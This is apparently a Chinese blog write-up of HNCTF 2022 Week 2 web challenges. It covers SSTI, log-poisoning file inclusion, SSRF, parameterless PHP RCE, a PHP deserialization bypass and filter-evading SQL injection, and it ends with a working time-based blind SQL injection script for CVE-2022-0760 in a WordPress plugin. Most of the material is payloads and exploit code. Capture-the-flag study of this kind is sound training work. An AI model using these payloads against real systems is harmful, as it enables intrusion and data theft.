HNCTF 2022 Week2 web方向

HNCTF 2022 Week2 web方向

ez_SSTI

进题后找了一下,发现除了一个外部链接什么也没有,随后用Arjun爆破了一下是否有可传递的参数,成功发现了用GET方式上传的name参数
请添加图片描述

结合题目可知是ssti注入,用name传入**{{6*6}}**得到回显36,证明该处是注入点。

不存在过滤,直接使用tplmap获取shell,然后抓取flag。

请添加图片描述

easy_include

根据题目可知该题是文件包含的题目

<?php
//WEB手要懂得搜索

if(isset($_GET['file'])){
    $file = $_GET['file'];
    if(preg_match("/php|flag|data|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=/i", $file)){
        die("error");
    }
    include($file);
}else{
    highlight_file(__FILE__);
}

过滤了php,那么使用php伪文件读取应该是行不通了,尝试通过日志包含写入一句话木马。用bp抓包,在url后添加一句话木马(不可直接在网页的url后写),使得日志读入,在数据包中可知中间件为nginx,日志位于/var/log/nginx/access.log ,用蚁剑连接该地址,找到flag

ez_ssrf

根据题目描述,直接访问/index.php,得到如下代码

<?php

highlight_file(__FILE__);
error_reporting(0);

$data=base64_decode($_GET['data']);
$host=$_GET['host'];
$port=$_GET['port'];

$fp=fsockopen($host,intval($port),$error,$errstr,30);
if(!$fp) {
    die();
}
else {
    fwrite($fp,$data);
    while(!feof($data))
    {
        echo fgets($fp,128);
    }
    fclose($fp);
}

根据代码可知存在ssrf漏洞。但是不知道要连接的地址,用dirsearch扫了一下得到了flag.php,前往得知需要使用localhost,那么ip设置为127.0.0.1,端口设置为80,data的脚本如下

<?php
$out = "GET /flag.php HTTP/1.1\r\n";
$out .= "Host: 127.0.0.1\r\n";
$out .= "Connection: Close\r\n\r\n";
echo base64_encode($out);

最终payload如下

data=R0VUIC9mbGFnLnBocCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBDbG9zZQ0KDQo=&host=127.0.0.1&port=80

Canyource

进题代码如下

<?php
highlight_file(__FILE__);
if(isset($_GET['code'])&&!preg_match('/url|show|high|na|info|dec|oct|pi|log|data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['code'])){
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
    eval($_GET['code']);}
else
    die('nonono');}
else
    echo('please input code');
?>

可知是无参数rce,传入的内容分别如下

code=var_dump(scandir(current(localeconv())));//查看目录
code=var_dump(file_get_contents(next(array_reverse(scandir(pos(localeconv()))))));//flag位于倒数数组第二个位置,故先将数组倒过来然后读取下一个即可读取flag

easy_unser

进题代码如下

<?php 
    include 'f14g.php';
    error_reporting(0);

    highlight_file(__FILE__);

    class body{

    private $want,$todonothing = "i can't get you want,But you can tell me before I wake up and change my mind";

    public function  __construct($want){
        $About_me = "When the object is created,I will be called";
        if($want !== " ") $this->want = $want;
        else $this->want = $this->todonothing;
    }
    function __wakeup(){
        $About_me = "When the object is unserialized,I will be called";
        $but = "I can CHANGE you";
        $this-> want = $but;
        echo "C1ybaby!";
        
    }
    function __destruct(){
        $About_me = "I'm the final function,when the object is destroyed,I will be called";
        echo "So,let me see if you can get what you want\n";
        if($this->todonothing === $this->want)
            die("鲍勃,别傻愣着!\n");
        if($this->want == "I can CHANGE you")
            die("You are not you....");
        if($this->want == "f14g.php" OR is_file($this->want)){
            die("You want my heart?No way!\n");
        }else{
            echo "You got it!";
            highlight_file($this->want);
            }
    }
}

    class unserializeorder{
        public $CORE = "人类最大的敌人,就是无序. Yahi param vaastavikta hai!<BR>";
        function __sleep(){
            $About_me = "When the object is serialized,I will be called";
            echo "We Come To HNCTF,Enjoy the ser14l1zti0n <BR>";
        }
        function __toString(){
            $About_me = "When the object is used as a string,I will be called";
            return $this->CORE;
        }
    }
    
    $obj = new unserializeorder();
    echo $obj;
    $obj = serialize($obj);
    

    if (isset($_GET['ywant']))
    {
        $ywant = @unserialize(@$_GET['ywant']);
        echo $ywant;
    }
?>

反序列化的题目,简单地分析一下,最终要执行的代码是body类中的__destruct()方法内的highlight_file($this->want);,为此需要绕过三个判断语句,第一个判断的话只要want不为空就行,第二个的话绕过__wakeup()魔术方法即可,第三个的话让want为伪协议即可。由于want变量为私有属性,故输出的时候需要url编码,脚本如下

<?php
class body{
    private $want = "php://filter/convert.base64-encode/resource=f14g.php";

}

$a = new body();
echo urlencode(serialize($a));

将输出的payload中的对象属性改为2,绕过**__wakeup()**魔术方法后上传即可得到flag

easy_sql

先进行fuzz测试,发现过滤了如下内容

请添加图片描述

注释符,空格,order,以及information_schema默认数据库的过滤是该题主要的考点,注释符可以使用 '1 或者 ;%00 替换,空格可以使用/**/替换,order可以使用group替换,information_schema过滤那么就可以使用无列名注入。

id=1'/**/group/**/by/**/3;%00   //判断出有三列
id=1'/**/union/**/select/**/1,2,3;%00   //得出回显位为3
id=1'/**/union/**/select/**/1,2,group_concat(database_name)/**/from/**/mysql.innodb_table_stats;%00   //爆出库名为ctf,ctftraining,ctftraining,ctftraining,mysql
id=1'/**/union/**/select/**/1,2,group_concat(table_name)/**/from/**/mysql.innodb_table_stats;%00   //爆出所有表名为ccctttfff,flag,news,users,gtid_slave_pos
id=1'/**/union/**/select/**/1,2,`1`/**/from/**/(select/**/1/**/union/**/select/**/*/**/from/**/ctftraining.flag)/**/as/**/m;%00   //利用无列名注入读取flag

ohmywordpress

根据题目的标签可知该题考点是CVE-2022-0760漏洞,搜索后该漏洞的具体描述如下

WordPress是Wordpress基金会的一套使用PHP语言开发的博客平台。该平台支持在PHP和MySQL的服务器上架设个人博客网站。WordPress plugin是WordPress开源的一个应用插件。
WordPress plugin Simple Link Directory 7.7.2 版本之前存在SQL注入漏洞,该漏洞源于程序在使用qcopd_upvote_action AJAX操作的SQL语句中的post_id参数前未对其进行正确验证和转义。未经身份认证的攻击者可利用该漏洞进行SQL注入。

这里直接借用Jay17师傅的脚本

import requests
import time


url = "http://node5.anna.nssctf.cn:28520/wp-admin/admin-ajax.php"

result = ""
for i in range(1, 100):
    length = len(result)
    for o in range(32, 128):

        data = {
            "action": "qcopd_upvote_action",
            # "post_id": f"(SELECT 3 FROM (select if(ascii(substr((select group_concat(schema_name) from information_schema.schemata),{i},1))={o},sleep(3),0))enz)",
            # "post_id": f"(SELECT 3 FROM (select if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=substr((select group_concat(schema_name) from information_schema.schemata),26,11)),{i},1))={o},sleep(3),0))enz)",
            "post_id": f"(SELECT 3 FROM (select if(ascii(substr((select group_concat(a) from (select 1 as a union select * from ctftraining.flag)b),{i},1))={o},sleep(3),0))enz)",
        }

        time1 = time.time()

        res = requests.post(url, data=data)

        time2 = time.time()

        # print(time2 - time1)
        # exit()

        if time2 - time1 > 3:
            result += chr(o)
            print(result)
            break

    if len(result) == length:
        break

  • 21
    点赞
  • 15
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值